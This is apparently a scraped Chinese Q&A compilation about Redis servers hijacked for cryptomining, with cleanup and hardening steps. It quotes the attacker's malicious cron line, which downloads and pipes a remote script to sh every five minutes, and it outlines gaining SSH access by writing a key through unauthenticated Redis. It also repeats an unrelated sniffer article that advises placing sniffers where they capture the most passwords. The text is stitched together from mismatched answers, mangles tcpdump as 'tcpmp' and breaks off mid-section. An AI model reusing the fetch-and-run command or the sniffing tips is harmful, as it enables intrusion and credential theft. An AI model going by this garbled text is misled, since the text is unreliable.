redis入侵挖矿
1. 如何用Linux服务器挖矿教程
今天早上起来一看,服务器脚本一个都没有启动!甚是奇怪,远程登录服务器,也是异常的卡,直到最后卡死,只好重新启动服务器!
启动之后没一会又会变卡,越来越卡,top查看进程!不觉又奇怪的进程,因为平常也不经常看!所以自己也搞不明白怎么回事儿!只好到群里问了问,说是被挖矿的挂了木马文件了,是由于redis的漏洞!
后来我自己发现,原来redis远程可以直接登录,原以为redis和mysql不开放登录权限就不会支持远程登录呢,看来是我想多了
看了好长时间才发现一个异常的进程,自启的进程 molibe !
找到进程位置 ps -ef|grep molibe ;
在tmp目录下,打开一看的确是有
chmod -x molibe 取消执行权限在来到/var/spool/cron下,cat root 查看定时器的执行发现之前脚本都被改了,顾不得删除cron,service crond restart 重新启动,再有就时kill 掉molibe进程
这样大概整个就结束了!但是根本是因为redis漏洞,所以还是补上吧
首先修改redis'端口,找到redis.conf文件 port **** 修改端口号再有就是必须修改密码 # requirepass ******** 去除#号重新启动 /redis/src/redis-server /redis/redis-conf
启动成功之后
redis/redis-cli -p ****(端口) -a *****(密码)
2. redis漏洞 可以入侵windows吗
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。
3. redis 怎么启用多端口
我来回答通常sniffer所要关心的内容可以分成这样几类:1、口令我想这是绝大多数非法使用sniffer的理由,sniffer可以记录到明文传送的userid和passwd.就算你在网络传送过程中使用了加密的数据,sniffer记录的数据一样有可能使入侵者在家里边吃肉串边想法算出你的算法。2、金融帐号许多用户很放心在网上使用自己的信用卡或现金帐号,然而sniffer可以很轻松截获在网上传送的用户姓名、口令、信用卡号码、截止日期、帐号和pin.3、偷窥机密或敏感的信息数据通过拦截数据包,入侵者可以很方便记录别人之间敏感的信息传送,或者干脆拦截整个的email会话过程。4、窥探低级的协议信息。这是很可怕的事,我认为,通过对底层的信息协议记录,比如记录两台主机之间的网络接口地址、远程网络接口ip地址、ip路由信息和tcp连接的字节顺序号码等。这些信息由非法入侵的人掌握后将对网络安全构成极大的危害,通常有人用sniffer收集这些信息只有一个原因:他正在进行一次欺诈,(通常的ip地址欺诈就要求你准确插入tcp连接的字节顺序号,这将在以后整理的文章中指出)如果某人很关心这个问题,那么sniffer对他来说只是前奏,今后的问题要大得多。(对于高级的hacker而言,我想这是使用sniffer的唯一理由吧)二.sniffer的工作环境snifffer就是能够捕获网络报文的设备。嗅探器的正当用处在于分析网络的流量,以便找出所关心的网络中潜在的问题。例如,假设网络的某一段运行得不是很好,报文的发送比较慢,而我们又不知道问题出在什么地方,此时就可以用嗅探器来作出精确的问题判断。嗅探器在功能和设计方面有很多不同。有些只能分析一种协议,而另一些可能能够分析几百种协议。一般情况下,大多数的嗅探器至少能够分析下面的协议:1.标准以太网2.TCP/IP3.IPX4.DECNet嗅探器通常是软硬件的结合。专用的嗅探器价格非常昂贵。另一方面,免费的嗅探器虽然不需要花什么钱,但得不到什么支持。嗅探器与一般的键盘捕获程序不同。键盘捕获程序捕获在终端上输入的键值,而嗅探器则捕获真实的网络报文。嗅探器通过将其置身于网络接口来达到这个目的——例如将以太网卡设置成杂收模式。(为了理解杂收模式是怎么回事,先解释局域网是怎么工作的)。数据在网络上是以很小的称为帧(Ftame)的单位传输的帧由好几部分组成,不同的部分执行不同的功能。(例如,以太网的前12个字节存放的是源和目的的地址,这些位告诉网络:数据的来源和去处。以太网帧的其他部分存放实际的用户数据、TCP/IP的报文头或IPX报文头等等)。帧通过特定的称为网络驱动程序的软件进行成型,然后通过网卡发送到网线上。通过网线到达它们的目的机器,在目的机器的一端执行相反的过程。接收端机器的以太网卡捕获到这些帧,并告诉操作系统帧的到达,然后对其进行存储。就是在这个传输和接收的过程中,嗅探器会造成安全方面的问题。每一个在LAN上的工作站都有其硬件地址。这些地址唯一地表示着网络上的机器(这一点于Internet地址系统比较相似)。当用户发送一个报文时,这些报文就会发送到LAN上所有可用的机器。在一般情况下,网络上所有的机器都可以“听”到通过的流量,但对不属于自己的报文则不予响应(换句话说,工作站A不会捕获属于工作站B的数据,而是简单的忽略这些数据)。如果某在工作站的网络接口处于杂收模式,那么它就可以捕获网络上所有的报文和帧,如果一个工作站被配置成这样的方式,它(包括其软件)就是一个嗅探器。嗅探器可能造成的危害:1.嗅探器能够捕获口令2.能够捕获专用的或者机密的信息3.可以用来危害网络邻居的安全,或者用来获取更高级别的访问权限事实上,如果你在网络上存在非授权的嗅探器就以为着你的系统已经暴露在别人面前了。(大家可以试试天行2的嗅探功能)一般我们只嗅探每个报文的前200到300个字节。用户名和口令都包含在这一部分中,这是我们关心的真正部分。工人,也可以嗅探给定接口上的所有报文,如果有足够的空间进行存储,有足够的那里进行处理的话,将会发现另一些非常有趣的东西……简单的放置一个嗅探器宾将其放到随便什么地方将不会起到什么作用。将嗅探器放置于被攻击机器或网络附近,这样将捕获到很多口令,还有一个比较好的方法就是放在网关上。如果这样的话就能捕获网络和其他网络进行身份鉴别的过程。这样的方式将成倍地增加我们能够攻击的范围。三.谁会使用sniffers可能谁都回知道谁会使用sniffer,但是并不是每个使用它的人都是网络高手,因为现在有很多的sniffer都成了傻瓜似的了,前段时间用的最多的不外乎oicqsniffer。我想那些喜欢查好友ip的朋友都应该记得它吧。呵呵,我都使用过它,现在当然不用了啊!当然系统管理员使用sniffer来分析网络信息交通并且找出网络上何处发生问题。一个安全管理员可以同时用多种sniffer,将它们放置在网络的各处,形成一个入侵警报系统。对于系统管理员来说sniffer是一个非常好的工具,但是它同样是一个经常被黑客使用的工具.骇客安装sniffer以获得用户名和账号,信用卡号码,个人信息,和其他的信息可以导致对你或是你的公司的极大危害如果向坏的方面发展。当它们得到这些信息后,骇客将使用密码来进攻其他的internet站点甚至倒卖信用卡号码。三.sniffer是如何在网络上实施的谈这个问题之前还应该先说一下Ethernet的通讯。通常在同一个网段的所有网络接口都有访问在媒体上传输的所有数据的能力,而每个网络接口都还应该有一个硬件地址,该硬件地址不同于网络中存在的其它网络接口的硬件地址,同时,每个网络至少还要一个广播地址。在正常情况下,一个合法的网络接口应该只响应这样的两种数据帧:1帧的目标区域具有和本地网络接口相匹配的硬件地址。2帧的目标区域具有“广播地址”。在接受到上面两种情况的数据包时,网卡通过cpu产生一个硬件中断。该中断能引起操作系统注意,然后将帧中所包含的数据传送给系统进一步处理。而sniffer就是一种能将本地网卡状态设成杂乱模式(promiscuousMode)的软件。当网卡处于杂乱模式时,该网卡具备“广播地址”,它对所有遇到的每一个帧都产生一个硬件中断以提醒操作系统处理每一个报文包。(绝大多数的网卡具备设置成杂乱模式的能力。可见,sniffer工作在网络环境中的底层,它会拦截所有的正在网络上传送的数据。通过相应的软件处理,可以实时分析这些数据的内容,进而分析所处的网络状态和整体布局。值得注意的是:sniffer是极其安静的,它是一种消极的安全攻击。四.哪里可以得到sniffer我们讲的sniffer,主要是在unix系统下运用的,至于那些oicqsniffer就不在我们讨论的范围。Sniffer是黑客们最常用的入侵手段之一。你可以在经过允许的网络中运行sniffer,了解它是如何有效地危及本地机器安全。Sniffer可以是硬件,也可以是软件。现在品种最多,应用最广的是软件Sniffer,绝大多数黑客们用的也是软件Sniffer。以下是一些也被广泛用于调试网络故障的sniffer工具:(一).商用sniffer:1.NetworkGeneral.NetworkGeneral开发了多种产品。最重要的是ExpertSniffer,它不仅仅可以sniff,还能够通过高性能的专门系统发送/接收数据包,帮助诊断故障。还有一个增强产品"DistrbutedSnifferSystem"可以将UNIX工作站作为sniffer控制台,而将snifferagents(代理)分布到远程主机上。2.Microsoft'sNetMonitor对于某些商业站点,可能同时需要运行多种协议--NetBEUI、IPX/SPX、TCP/IP、802.3和SNA等。这时很难找到一种sniffer帮助解决网络问题,因为许多sniffer往往将某些正确的协议数据包当成了错误数据包。Microsoft的NetMonitor(以前叫Bloodhound)可以解决这个难题。它能够正确区分诸如Netware控制数据包、NTNetBios名字服务广播等独特的数据包。(etherfind只会将这些数据包标识为类型0000的广播数据包。)这个工具运行在MSWindows平台上。它甚至能够按MAC地址(或主机名)进行网络统计和会话信息监视。只需简单地单击某个会话即可获得tcpmp标准的输出。过滤器设置也是最为简单的,只要在一个对话框中单击需要监视的主机即可。(二).免费软件sniffer1.Sniffit由LawrenceBerkeley实验室开发,运行于Solaris、SGI和Linux等平台。可以选择源、目标地址或地址集合,还可以选择监听的端口、协议和网络接口等。这个SNIFFER默认状态下只接受最先的400个字节的信息包,这对于一次登陆会话进程刚刚好。2.SNORT:这个SNIFFER有很多选项供你使用并可移植性强,可以记录一些连接信息,用来跟踪一些网络活动。3.TCPDUMP:这个SNIFFER很有名,linux,FREEBSD还搭带在系统上,是一个被很多UNIX高手认为是一个专业的网络管理工具,记得以前TsutomuShimomura(应该叫下村侵吧)就是使用他自己修改过的TCPDUMP版本来记录了KEVINMITNICK攻击他系统的记录,后来就配合FBI抓住了KEVINMITNICK,后来他写了一文:使用这些LOG记录描述了那次的攻击,((四).Linux下的sniffer工具Linux下的sniffer工具,我推荐Tcpmp。[1].tcpmp的安装在linux下tcpmp的安装十分简单,一般由两种安装方式。一种是以rpm包的形式来进行安装。另外一种是以源程序的形式安装。1.rpm包的形式安装这种形式的安装是最简单的安装方法,rpm包是将软件编译后打包成二进制的格式,通过rpm命令可以直接安装,不需要修改任何东西。以超级用户登录,使用命令如下:#rpm-ivhtcpmp-3_4a5.rpm这样tcpmp就顺利地安装到你的linux系统中。怎么样,很简单吧。2.源程序的安装既然rpm包的安装很简单,为什么还要采用比较复杂的源程序安装呢其实,linux一个最大的诱人之处就是在她上面有很多软件是提供源程序的,人们可以修改源程序来满足自己的特殊的需要。所以我特别建议朋友们都采取这种源程序的安装方法。·第一步取得源程序在源程序的安装方式中,我们首先要取得tcpmp的源程序分发包,这种分发包有两种形式,一种是tar压缩包(tcpmp-3_4a5.tar.Z),另一种是rpm的分发包(tcpmp-3_4a5.src.rpm)。这两种形式的内容都是一样的,不同的仅仅是压缩的方式.tar的压缩包可以使用如下命令解开:#tarxvfztcpmp-3_4a5.tar.Zrpm的包可以使用如下命令安装:#rpm-ivhtcpmp-3_4a5.src.rpm这样就把tcpmp的源代码解压到/usr/src/redhat/SOURCES目录下.·第二步做好编译源程序前的准备活动在编译源程序之前,最好已经确定库文件libpcap已经安装完毕,这个库文件是tcpmp软件所需的库文件。同样,你同时还要有一个标准的c语言编译器。在linux下标准的c语言编译器一般是gcc。在tcpmp的源程序目录中。有一个文件是Makefile.in,configure命令就是从Makefile.in文件中自动产生Makefile文件。在Makefile.in文件中,可以根据系统的配置来修改BINDEST和MANDEST这两个宏定义,缺省值是BINDEST=@sbindir@MANDEST=@mandir@第一个宏值表明安装tcpmp的二进制文件的路径名,第二个表明tcpmp的man帮助页的路径名,你可以修改它们来满足系统的需求。·第三步编译源程序使用源程序目录中的configure脚本,它从系统中读出各种所需的属性。并且根据Makefile.in文件自动生成Makefile文件,以便编译使用.make命令则根据Makefile文件中的规则编译tcpmp的源程序。使用makeinstall命令安装编译好的tcpmp的二进制文件。总结一下就是:#tarxvfztcpmp-3_4a5.tar.Z#viMakefile.in#./configure#make#makeinstall[2].Tcpmp的使用tcpmp采用命令行方式,它的命令格式为:tcpmp[-adeflnNOpqStvx][-c数量][-F文件名][-i网络接口][-r文件名][-ssnaplen][-T类型][-w文件名][表达式]1.tcpmp的选项介绍-a将网络地址和广播地址转变成名字;-d将匹配信息包的代码以人们能够理解的汇编格式给出;-dd将匹配信息包的代码以c语言程序段的格式给出;-ddd将匹配信息包的代码以十进制的形式给出;-e在输出行打印出数据链路层的头部信息;-f将外部的Internet地址以数字的形式打印出来;-l使标准输出变为缓冲行形式;-n不把网络地址转换成名字;-t在输出的每一行不打印时间戳;-v输出一个稍微详细的信息,例如在ip包中可以包括ttl和服务类型的信息;-vv输出详细的报文信息;-c在收到指定的包的数目后,tcpmp就会停止;-F从指定的文件中读取表达式,忽略其它的表达式;-i指定监听的网络接口;-r从指定的文件中读取包(这些包一般通过-w选项产生);-w直接将包写入文件中,并不分析和打印出来;-T将监听到的包直接解释为指定的类型的报文,常见的类型有rpc(远程过程调用)和snmp(简单网络管理协议;)2.tcpmp的表达式介绍表达式是一个正则表达式,tcpmp利用它作为过滤报文的条件,如果一个报文满足表达式的条件,则这个报文将会被捕获。如果没有给出任何条件,则网络上所有的信息包将会被截获。在表达式中一般如下几种类型的关键字,一种是关于类型的关键字,主要包括host,net,port,例如host210.27.48.2,指明210.27.48.2是一台主机,net202.0.0.0指明202.0.0.0是一个网络地址,port23指明端口号是23。如果没有指定类型,缺省的类型是host.第二种是确定传输方向的关键字,主要包括src,dst,dstorsrc,dstandsrc,这些关键字指明了传输的方向。举例说明,src210.27.48.2,指明ip包中源地址是210.27.48.2,dstnet202.0.0.0指明目的网络地址是202.0.0.0。如果没有指明方向关键字,则缺省是srcordst关键字。第三种是协议的关键字,主要包括fddi,ip,arp,rarp,tcp,udp等类型。Fddi指明是在FDDI(分布式光纤数据接口网络)上的特定的网络协议,实际上它是"ether"的别名,fddi和ether具有类似的源地址和目的地址,所以可以将fddi协议包当作ether的包进行处理和分析。其他的几个关键字就是指明了监听的包的协议内容。如果没有指定任何协议,则tcpmp将会监听所有协议的信息包。除了这三种类型的关键字之外,其他重要的关键字如下:gateway,broadcast,less,greater,还有三种逻辑运算,取非运算是'not''!',与运算是'and','&&';或运算是'or','';这些关键字可以组合起来构成强大的组合条件来满足人们的需要,下面举几个例子来说明。(1)想要截获所有210.27.48.1的主机收到的和发出的所有的数据包:#tcpmphost210.27.48.1(2)想要截获主机210.27.48.1和主机210.27.48.2或210.27.48.3的通信,使用命令:(在命令行中适用括号时,一定要#tcpmphost210.27.48.1and\(210.27.48.2or210.27.48.3\)(3)如果想要获取主机210.27.48.1除了和主机210.27.48.2之外所有主机通信的ip包,使用命令:#tcpmpiphost210.27.48.1and!210.27.48.2(4)如果想要获取主机210.27.48.1接收或发出的telnet包,使用如下命令:#tcpmptcpport23host210.27.48.13.tcpmp的输出结果介绍下面我们介绍几种典型的tcpmp命令的输出信息(1)数据链路层头信息使用命令#tcpmp--ehosticeice是一台装有linux的主机,她的MAC地址是0:90:27:58:AF:1AH219是一台装有SOLARIC的SUN工作站,它的MAC地址是8:0:20:79:5B:46;上一条命令的输出结果如下所示:21:50:12.847509eth08:0:20:79:5b:460:90:27:58:af:1aip60:h219.33357>ice.telnet0:0(0)ack22535win8760(DF)分析:21:50:12是显示的时间,847509是ID号,eth0表示从网络接口设备发送数据包,8:0:20:79:5b:46是主机H219的MAC地址,它表明是从源地址H219发来的数据包.0:90:27:58:af:1a是主机ICE的MAC地址,表示该数据包的目的地址是ICE.ip是表明该数据包是IP数据包,60是数据包的长度,h219.33357>ice.telnet表明该数据包是从主机H219的33357端口发往主机ICE的TELNET(23)端口.ack22535表明对序列号是222535的包进行响应.win8760表明发送窗口的大小是8760.(2)ARP包的TCPDUMP输出信息使用命令#tcpmparp得到的输出结果是:22:32:42.802509eth0>arpwho-hasroutetellice(0:90:27:58:af:1a)22:32:42.802902eth0表明从主机发出该数据包,arp表明是ARP请求包,who-hasroutetellice表明是主机ICE请求主机ROUTE的MAC地址。0:90:27:58:af:1a是主机ICE的MAC地址。(3)TCP包的输出信息用TCPDUMP捕获的TCP包的一般输出信息是:src>dst:flagsdata->dst:表明从源地址到目的地址,flags是TCP包中的标志信息,S是SYN标志,F(FIN),P(PUSH),R(RST)"."(没有标记);data-seqno是数据包中的数据的顺序号,ack是下次期望的顺序号,window是接收缓存的窗口大小,urgent表明数据包中是否有紧急指针.Options是选项.(4)UDP包的输出信息用TCPDUMP捕获的UDP包的一般输出信息是:route.port1>ice.port2:udplenthUDP十分简单,上面的输出行表明从主机ROUTE的port1端口发出的一个UDP数据包到主机ICE的port2端口,类型是UDP,包的长度是lenth上面,我就详细介绍了TCPDUMP的安装和使用,希望会对大家有所帮助。如果想要熟练运用TCPDUMP这个LINUX环境下的SNIFFER利器,还需要大家在实践中总结经验,充分发挥它的威力。(五).windows平台上的sniffer我推荐netxray和snifferpro软件,想必大家都用过他们,不过我在这儿还要再简单介绍一下他们。
4. 中挖矿病毒的表现
故障现象:使用过程中,发现经常有服务无故关闭,登录服务器经检查,发现CPU使用率达到100%。在检测异常进程中,未发现CPU使用率异常的进程(使用 top、htop 以及 ps -aux 进行检查),于是报障。
检测过程:
1.找到他shell脚本对应目录把目录或者文件删除。
2.检查定时任务是否存在挖矿木马文件在定时任务中,避免定时运行挖矿木马文件。
3.添加hosts挖矿病毒访问对应网站,避免二次访问并下载。
4.排查liunx命令是否损坏,如损坏下载"procps-3.2.8"并编译,恢复top等系列命令。
5.检测进程是否异常。
6.排查入侵入口,例如 redis是否存在弱口令,nginx或者apache上面的网站程序是否存在漏洞,并排查下nginx或者apache日志审查漏洞所在处。
7.排查ssh登录日志。
8.把ssh登录切换成秘钥登录。
9.重启服务器,检查是否进程是否正常。
5. struts2怎么使用redis共享
先 @Autowired
private RedisTemplate redisTemplate;
然后
用的时候可以先
ValueOperations<String, String> opsValue = redisTemplate.opsForValue();1
然后取值就redis一定要设置密码,经常会有主机被黑去挖矿 本人就是受害者。
6. 防火墙怎么配置防挖矿
针对挖矿蠕虫对SSH/RDP等进行暴力破解的攻击方式,云防火墙的基础防御支持常规的暴力破解检测方式,如登录或试错频次阈值计算,对超过试错阈值的行为进行IP限制,还支持在用户的访问习惯、访问频率基线的基础上,结合行为模型在保证用户正常访问不被拦截的同时对异常登录进行限制。
针对一些通用的漏洞利用方式(如利用Redis写Crontab执行命令、数据库UDF进行命令执行等),云防火墙的基础防御基于阿里云的大数据优势,利用阿里云安全在云上攻防对抗中积累的大量恶意攻击样本,可以形成精准的防御规则,具有极高的准确性。
若您需要开启云防火墙的基础防御,只需要在安全策略->入侵防御->基础防御配置栏勾选基础规则即可,当基础防御开启后,在网络流量分析->IPS阻断分析中可以看到详细的拦截日志。
7. 阿里云服务器被挖矿了怎么办(纯纯电脑小白
1. 关闭访问挖矿服务器的访问
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉执行权限, 在没有找到根源前,千万不要删除 minerd,因为删除了,过一回会自动有生成一个。
3. pkill minerd ,杀掉进程
4. service stop crond 或者 crontab -r 删除所有的执行计划
5. 执行top,查看了一会,没有再发现minerd 进程了。
6.检查/var/spool/cron/目录下发现有个root用户的定时器文件。
下载脚本的语句:
*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh
病毒文件内容如下,感兴趣的可以研究下:
View Code
解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限,http://blog.jobbole.com/94518/然后就注入了病毒,下面是解决办法和清除工作:
1. 修复 redis 的后门,
配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如conf
2. 打开 ~/.ssh/authorized_keys, 删除你不认识的账号
3. 查看你的用户列表,是不是有你不认识的用户添加进来。 如果有就删除掉.
8. redis bind 网段
我来回答
通常sniffer所要关心的内容可以分成这样几类:
1、口令
我想这是绝大多数非法使用sniffer的理由,sniffer可以记录到明文传送的userid和passwd.就算你在网络传送过程中使用了加密的数据,sniffer记录的数据一样有可能使入侵者在家里边吃肉串边想办法算出你的算法。
2、金融帐号
许多用户很放心在网上使用自己的信用卡或现金帐号,然而sniffer可以很轻松截获在网上传送的用户姓名、口令、信用卡号码、截止日期、帐号和pin.
3、偷窥机密或敏感的信息数据
通过拦截数据包,入侵者可以很方便记录别人之间敏感的信息传送,或者干脆拦截整个的email会话过程。
4、窥探低级的协议信息。
这是很可怕的事,我认为,通过对底层的信息协议记录,比如记录两台主机之间的网络接口地址、远程网络接口ip地址、ip路由信息和tcp连接的字节顺序号码等。这些信息由非法入侵的人掌握后将对网络安全构成极大的危害,通常有人用sniffer收集这些信息只有一个原因:他正在进行一次欺诈,(通常的ip地址欺诈就要求你准确插入tcp连接的字节顺序号,这将在以后整理的文章中指出)如果某人很关心这个问题,那么sniffer对他来说只是前奏,今后的问题要大得多。(对于高级的hacker而言,我想这是使用sniffer的唯一理由吧)
二.sniffer的工作环境
snifffer就是能够捕获网络报文的设备。嗅探器的正当用处在于分析网络的流量,以便找出所关心的网络中潜在的问题。例如,假设网络的某一段运行得不是很好,报文的发送比较慢,而我们又不知道问题出在什么地方,此时就可以用嗅探器来作出精确的问题判断。
嗅探器在功能和设计方面有很多不同。有些只能分析一种协议,而另一些可能能够分析几百种协议。一般情况下,大多数的嗅探器至少能够分析下面的协议:
1.标准以太网
2.TCP/IP
3.IPX
4.DECNet
嗅探器通常是软硬件的结合。专用的嗅探器价格非常昂贵。另一方面,免费的嗅探器虽然不需要花什么钱,但得不到什么支持。
嗅探器与一般的键盘捕获程序不同。键盘捕获程序捕获在终端上输入的键值,而嗅探器则捕获真实的网络报文。嗅探器通过将其置身于网络接口来达到这个目的——例如将以太网卡设置成杂收模式。(为了理解杂收模式是怎么回事,先解释局域网是怎么工作的)。
数据在网络上是以很小的称为帧(Ftame)的单位传输的帧由好几部分组成,不同的部分执行不同的功能。(例如,以太网的前12个字节存放的是源和目的的地址,这些位告诉网络:数据的来源和去处。以太网帧的其他部分存放实际的用户数据、TCP/IP的报文头或IPX报文头等等)。
帧通过特定的称为网络驱动程序的软件进行成型,然后通过网卡发送到网线上。通过网线到达它们的目的机器,在目的机器的一端执行相反的过程。接收端机器的以太网卡捕获到这些帧,并告诉操作系统帧的到达,然后对其进行存储。就是在这个传输和接收的过程中,嗅探器会造成安全方面的问题。
每一个在LAN上的工作站都有其硬件地址。这些地址唯一地表示着网络上的机器(这一点于Internet地址系统比较相似)。当用户发送一个报文时,这些报文就会发送到LAN上所有可用的机器。
在一般情况下,网络上所有的机器都可以“听”到通过的流量,但对不属于自己的报文则不予响应(换句话说,工作站A不会捕获属于工作站B的数据,而是简单的忽略这些数据)。
如果某在工作站的网络接口处于杂收模式,那么它就可以捕获网络上所有的报文和帧,如果一个工作站被配置成这样的方式,它(包括其软件)就是一个嗅探器。
嗅探器可能造成的危害:
1.嗅探器能够捕获口令
2.能够捕获专用的或者机密的信息
3.可以用来危害网络邻居的安全,或者用来获取更高级别的访问权限
事实上,如果你在网络上存在非授权的嗅探器就以为着你的系统已经暴露在别人面前了。(大家可以试试天行2的嗅探功能)
一般我们只嗅探每个报文的前200到300个字节。用户名和口令都包含在这一部分中,这是我们关心的真正部分。工人,也可以嗅探给定接口上的所有报文,如果有足够的空间进行存储,有足够的那里进行处理的话,将会发现另一些非常有趣的东西……
简单的放置一个嗅探器宾将其放到随便什么地方将不会起到什么作用。将嗅探器放置于被攻击机器或网络附近,这样将捕获到很多口令,还有一个比较好的方法就是放在网关上。如果这样的话就能捕获网络和其他网络进行身份鉴别的过程。这样的方式将成倍地增加我们能够攻击的范围。
三.谁会使用sniffers
可能谁都回知道谁会使用sniffer,但是并不是每个使用它的人都是网络高手,因为现在有很多的sniffer都成了傻瓜似的了,前段时间用的最多的不外乎oicq sniffer。我想那些喜欢查好友ip的朋友都应该记得它吧。呵呵,我都使用过它,现在当然不用了啊!
当然系统管理员使用sniffer来分析网络信息交通并且找出网络上何处发生问题。一个安全管理员可以同时用多种sniffer, 将它们放置在网络的各处,形成一个入侵警报系统。对于系统管理员来说sniffer是一个非常好的工具,但是它同样是一个经常被黑客使用的工具.骇客安装sniffer以获得用户名和账号,信用卡号码,个人信息,和其他的信息可以导致对你或是你的公司的极大危害如果向坏的方面发展。当它们得到这些信息后,骇客将使用密码来进攻其他的internet 站点甚至倒卖信用卡号码。
三.sniffer是如何在网络上实施的
谈这个问题之前还应该先说一下Ethernet的通讯。通常在同一个网段的所有网络接口都有访问在媒体上传输的所有数据的能力,而每个网络接口都还应该有一个硬件地址,该硬件地址不同于网络中存在的其它网络接口的硬件地址,同时,每个网络至少还要一个广播地址。在正常情况下,一个合法的网络接口应该只响应这样的两种数据帧:
1帧的目标区域具有和本地网络接口相匹配的硬件地址。
2帧的目标区域具有“广播地址”。
在接受到上面两种情况的数据包时,网卡通过cpu产生一个硬件中断。该中断能引起操作系统注意,然后将帧中所包含的数据传送给系统进一步处理。而sniffer就是一种能将本地网卡状态设成杂乱模式(promiscuous Mode)的软件。当网卡处于杂乱模式时,该网卡具备“广播地址”,它对所有遇到的每一个帧都产生一个硬件中断以提醒操作系统处理每一个报文包。(绝大多数的网卡具备设置成杂乱模式的能力。
可见,sniffer工作在网络环境中的底层,它会拦截所有的正在网络上传送的数据。通过相应的软件处理,可以实时分析这些数据的内容,进而分析所处的网络状态和整体布局。值得注意的是:sniffer是极其安静的,它是一种消极的安全攻击。
四.哪里可以得到sniffer
我们讲的sniffer,主要是在unix系统下运用的,至于那些oicq sniffer就不在我们讨论的范围。
Sniffer是黑客们最常用的入侵手段之一。你可以在经过允许的网络中运行sniffer,了解它是如何有效地危及本地机器安全。
Sniffer可以是硬件,也可以是软件。现在品种最多,应用最广的是软件Sniffer,绝大多数黑客们用的也是软件Sniffer。
以下是一些也被广泛用于调试网络故障的sniffer工具:
(一).商用sniffer:
1. Network General.
Network General开发了多种产品。最重要的是Expert Sniffer,它不仅仅可以sniff,还能够通过高性能的专门系统发送/接收数据包,帮助诊断故障。还有一个增强产品"Distrbuted Sniffer System"可以将UNIX工作站作为sniffer控制台,而将sniffer agents(代理)分布到远程主机上。
2. Microsoft's Net Monitor
对于某些商业站点,可能同时需要运行多种协议--NetBEUI、IPX/SPX、TCP/IP、802.3和SNA等。这时很难找到一种sniffer帮助解决网络问题,因为许多sniffer往往将某些正确的协议数据包当成了错误数据包。Microsoft的Net Monitor(以前叫Bloodhound)可以解决这个难题。它能够正确区分诸如Netware控制数据包、NT NetBios名字服务广播等独特的数据包。(etherfind只会将这些数据包标识为类型0000的广播数据包。)这个工具运行在MS Windows 平台上。它甚至能够按MAC地址(或主机名)进行网络统计和会话信息监视。只需简单地单击某个会话即可获得tcpmp标准的输出。过滤器设置也是最为简单的,只要在一个对话框中单击需要监视的主机即可。
(二).免费软件sniffer
1. Sniffit由Lawrence Berkeley 实验室开发,运行于Solaris、SGI和Linux等平台。可以选择源、目标地址或地址集合,还可以选择监听的端口、协议和网络接口等。这个SNIFFER默认状态下只接受最先的400个字节的信息包,这对于一次登陆会话进程刚刚好。
2. SNORT:这个SNIFFER有很多选项供你使用并可移植性强,可以记录一些连接信息,用来跟踪一些网络活动。
3. TCPDUMP:这个SNIFFER很有名,linux,FREEBSD还搭带在系统上,是一个被很多UNIX高手认为是一个专业的网络管理工具,记得以前TsutomuShimomura(应该叫下村侵吧)就是使用他自己修改过的TCPDUMP版本来记录了KEVINMITNICK攻击他系统的记录,后来就配合FBI抓住了KEVINMITNICK,后来他写了一文:使用这些LOG记录描述了那次的攻击,
(
http://www.attrition.org/security/newbie/security/sniffer/shimomur.txt )
4. ADMsniff:这是非常有名的ADM黑客集团写的一个SNIFFER程序。
5. linsniffer:这是一个专门设计杂一LINUX平台上的SNIFFER。
6. Esniffer:这个也是一个比较有名的SNIFFER程序。
7. Solsniffer:这是个Solarissniffer,主要是修改了SunSniff专门用来可以方便的在Solair平台上编译。
8. Ethereal是一基于GTK+的一个图形化Sniffer
9. Gobbler(for MS-DOS&Win95)、Netman、NitWit、Ethload...等等。
(三).UNIX下的sniffer
UNIX下的sniffer,我比较倾向于snoop.Snoop是按Solaris的标准制作的,虽然Snoop不像是Sniffer Pro那样好,但是它是一个可定制性非常强的sniffer,在加上它是免费的(和Solaris附一起).谁能打败它的地位你可以在极短时间内抓获一个信息包或是更加深的分析.如果你想学习如何使用snoop,看下面的url:
http://www.enteract.com/~lspitz/snoop.html
(四).Linux下的sniffer工具
Linux下的sniffer工具,我推荐Tcpmp。
[1].tcpmp的安装
在linux下tcpmp的安装十分简单,一般由两种安装方式。一种是以rpm包的形式来进行安装。另外一种是以源程序的形式安装。
1. rpm包的形式安装
这种形式的安装是最简单的安装方法,rpm包是将软件编译后打包成二进制的格式,通过rpm命令可以直接安装,不需要修改任何东西。以超级用户登录,使用命令如下:
#rpm -ivh tcpmp-3_4a5.rpm
这样tcpmp就顺利地安装到你的linux系统中。怎么样,很简单吧。
2. 源程序的安装
既然rpm包的安装很简单,为什么还要采用比较复杂的源程序安装呢其实,linux一个最大的诱人之处就是在她上面有很多软件是提供源程序的,人们可以修改源程序来满足自己的特殊的需要。所以我特别建议朋友们都采取这种源程序的安装方法。
· 第一步 取得源程序 在源程序的安装方式中,我们首先要取得tcpmp的源程序分发包,这种分发包有两种 形式,一种是tar压缩包(tcpmp-3_4a5.tar.Z),另一种是rpm的分发包(tcpmp-3_4a5.src.rpm)。这两种 形式的内容都是一样的,不同的仅仅是压缩的方式.tar的压缩包可以使用如下命令解开:
#tar xvfz tcpmp-3_4a5.tar.Z
rpm的包可以使用如下命令安装:
#rpm -ivh tcpmp-3_4a5.src.rpm
这样就把tcpmp的源代码解压到/usr/src/redhat/SOURCES目录下.
· 第二步 做好编译源程序前的准备活动
